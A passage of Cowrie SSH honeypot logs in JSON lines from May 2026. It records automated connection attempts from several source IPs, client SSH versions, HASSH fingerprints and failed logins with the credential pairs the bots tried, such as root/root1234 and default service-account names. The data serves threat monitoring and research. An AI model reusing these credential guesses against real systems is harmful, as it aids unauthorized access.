0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:44.721874Z","src_ip":"103.75.199.4","session":"42cbac997adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:44.995657Z","src_ip":"103.75.199.4","session":"42cbac997adf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:46.089448Z","src_ip":"103.75.199.4","session":"42cbac997adf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":38952,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e05c63b8845","protocol":"ssh","message":"New connection: 43.163.119.215:38952 (10.17.0.5:22) [session: 3e05c63b8845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:55.648366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:55.653339Z","src_ip":"43.163.119.215","session":"3e05c63b8845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:55.892275Z","src_ip":"43.163.119.215","session":"3e05c63b8845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:56.606207Z","src_ip":"43.163.119.215","session":"3e05c63b8845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:57.847708Z","src_ip":"43.163.119.215","session":"3e05c63b8845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":36478,"dst_ip":"159.203.135.109","dst_port":22,"session":"e407c1abd0f6","protocol":"ssh","message":"New connection: 154.83.196.237:36478 (159.203.135.109:22) [session: e407c1abd0f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:58.850207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:58.854749Z","src_ip":"154.83.196.237","session":"e407c1abd0f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:58.977757Z","src_ip":"154.83.196.237","session":"e407c1abd0f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql1","message":"login attempt [root/mysql1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:59.500263Z","src_ip":"154.83.196.237","session":"e407c1abd0f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:00.624911Z","src_ip":"154.83.196.237","session":"e407c1abd0f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":43970,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa068482d7a8","protocol":"ssh","message":"New connection: 103.75.199.4:43970 (159.203.135.109:22) [session: fa068482d7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:06.495486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:06.500205Z","src_ip":"103.75.199.4","session":"fa068482d7a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:06.590569Z","src_ip":"103.75.199.4","session":"fa068482d7a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":48828,"dst_ip":"10.17.0.5","dst_port":22,"session":"09766ab6c6a5","protocol":"ssh","message":"New connection: 163.7.9.84:48828 (10.17.0.5:22) [session: 09766ab6c6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:06.677873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:06.685915Z","src_ip":"163.7.9.84","session":"09766ab6c6a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:06.868524Z","src_ip":"103.75.199.4","session":"fa068482d7a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:06.931466Z","src_ip":"163.7.9.84","session":"09766ab6c6a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"windsurf","message":"login attempt [root/windsurf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:07.942181Z","src_ip":"163.7.9.84","session":"09766ab6c6a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:07.961417Z","src_ip":"103.75.199.4","session":"fa068482d7a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:09.190640Z","src_ip":"163.7.9.84","session":"09766ab6c6a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":49606,"dst_ip":"10.17.0.5","dst_port":22,"session":"803aac967dc4","protocol":"ssh","message":"New connection: 94.154.34.232:49606 (10.17.0.5:22) [session: 803aac967dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:25.771415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:25.776529Z","src_ip":"94.154.34.232","session":"803aac967dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:25.903431Z","src_ip":"94.154.34.232","session":"803aac967dc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"no","message":"login attempt [admin/no] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:26.441491Z","src_ip":"94.154.34.232","session":"803aac967dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:27.570650Z","src_ip":"94.154.34.232","session":"803aac967dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":34438,"dst_ip":"159.203.135.109","dst_port":22,"session":"cde6f5290fe5","protocol":"ssh","message":"New connection: 103.75.199.4:34438 (159.203.135.109:22) [session: cde6f5290fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:28.387715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:28.392994Z","src_ip":"103.75.199.4","session":"cde6f5290fe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:28.488729Z","src_ip":"103.75.199.4","session":"cde6f5290fe5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:28.777063Z","src_ip":"103.75.199.4","session":"cde6f5290fe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":38962,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6122eda4ba2","protocol":"ssh","message":"New connection: 43.163.119.215:38962 (10.17.0.5:22) [session: a6122eda4ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:29.174200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:29.178303Z","src_ip":"43.163.119.215","session":"a6122eda4ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:29.423606Z","src_ip":"43.163.119.215","session":"a6122eda4ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:29.874620Z","src_ip":"103.75.199.4","session":"cde6f5290fe5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:30.160939Z","src_ip":"43.163.119.215","session":"a6122eda4ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:31.409778Z","src_ip":"43.163.119.215","session":"a6122eda4ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":38978,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9694c89f276","protocol":"ssh","message":"New connection: 43.163.119.215:38978 (10.17.0.5:22) [session: b9694c89f276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:33.620924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:33.625762Z","src_ip":"43.163.119.215","session":"b9694c89f276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:33.863951Z","src_ip":"43.163.119.215","session":"b9694c89f276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":51824,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf989da53f05","protocol":"ssh","message":"New connection: 162.243.147.237:51824 (159.203.135.109:22) [session: bf989da53f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:34.133888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:34.138526Z","src_ip":"162.243.147.237","session":"bf989da53f05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1